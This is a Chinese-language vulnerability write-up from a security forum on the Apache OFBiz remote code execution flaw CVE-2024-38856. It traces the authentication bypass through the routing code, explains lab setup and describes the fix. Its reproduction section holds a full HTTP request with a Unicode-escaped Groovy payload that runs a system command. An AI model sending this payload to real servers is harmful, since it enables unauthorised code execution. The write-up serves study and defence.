问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
Apache OFBiz 远程代码执行漏洞(CVE-2024-38856)
漏洞分析
CVE-2024-38856的主要是*ControlServlet*和*RequestHandler*函数收到了不同的端点来处理,通过路径绕过导致的未授权漏洞
一、漏洞简介 ------ Apache OFBiz 是一个用于企业资源规划(ERP)的开源框架,它包含满足常见业务需求的 Web 应用程序,例如人力资源、会计、库存管理、客户关系管理、营销等。 CVE-2024-38856的主要是*ControlServlet*和*RequestHandler*函数收到了不同的端点来处理,通过路径绕过导致的未授权漏洞 二、影响版本 ------ <= Apache OFBiz 18.12.14 三、漏洞原理分析 -------- 首先分析路由情况(ofbiz用tomcat作为http容器,这里的大部分项目的web.xml配置差不了多少) 这里以webapp/webtools/WEB-INF/web.xml文件作为示例 这里先以post方式访问/webtools/control/forgotPassword/ProgramExport路径  ControlServlet类作为servlet业务类的处理器,在doGet方法上开始调试  这里前面的一大串方法都在设置request的属性,从185行开始获取handler处理器来处理请求  跟进handler.doRequest()方法  这里判断请求的客户端地址是否为黑名单,然后获取所有webtools下的controller,因为这里请求的地址就是以/webtools开头的. controller的配置在webtools下的contoller.xml中配置  这里先从UtilHttp.getApplicationName获取了/webtools 然后进入RequestHandler.getRequestUri 这里调用了getPathInfo,所以传入的参数是/forgotPassword/ProgramExport  这里只返回第一个值,即forgotPassword 回到doRequest 继续进入getOverrideViewUri,传入的参数也是/forgotPassword/ProgramExport  也是以/作为分割,然后从第二个位置开始截取数组,返回最后一个位置的数据 这里也就是ProgramExport 回到doRequest 继续进入resolveURI  这里在if中判断getRequestUri获取请求的基础路径(forgotPassword)是否纯在于requestMapMap 后续如果viewUri(就是调用的getOverrideViewUri)也存在于viewMapMap即将rmaps返回 rmaps是请求的路径业务类方法 回到doRequest  这里在resolveMethod中判断请求的方法和rmaps中的方法是否对应,返回更细致的requestMap  继续往下  这里在进入业务方法的时候需要校验登陆情况  因为forgotPassword对应的requestMap不需要鉴权,这里就绕过了安全检查 继续向下调试  在runEvent方法中,通过反射调用到forgotPassword的业务方法,不过漏洞和这里没有关系,只要业务的返回值为success即可 后续需要通过success获取到返回值的数据赋值给successResponse,然后传递给nextRequestResponse  继续往下  这里的nextRequestResponse.type,其实是在配置文件中设置的  这里判断业务返回的数据是否为success,并且overrideViewUri是否为null,最后设置viewName 那么这里因为请求的路径为/forgotPassword/ProgramExport 造成view的解析冲突,会进入到ProgramExport这个业务中 renderView方法就是在解析与ProgramExport对应的请求 groovyScripts/entity/ProgramExport.groovy  四、环境搭建 ------ 下载18.12.14版本 <https://github.com/apache/ofbiz-framework/releases/tag/release18.12.14> 用idea打开之后运行gradle-build  这里会生成一个jar包,直接调试即可  最后需要配置数据库,在根目录下运行gradlew loadAll加载所有数据正常调试 五、漏洞复现 ------ 发送payload ```POST Host: 127.0.0.1:8443 Cache-Control: max-age=0 Sec-Ch-Ua: "Not/A)Brand";v="8", "Chromium";v="126", "Google Chrome";v="126" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Priority: u=0, i Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 272 groovyProgram=\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0063\u0061\u006c\u0063\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b ```  六、漏洞修复 ------ 在18.12.15中修复了Request.resolveURI方法  这里多了allowDirectViewRendering,不允许覆盖渲染模板了 以及EntitySQLProcessor和ProgramExport这两个sink都做了权限校验  
发表于 2024-08-13 09:53:18
阅读 ( 4021 )
分类:
CMS
0 推荐
收藏
1 条评论
deger
1秒前
强
请先
登录
后评论
请先
登录
后评论
yrf2314
3 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!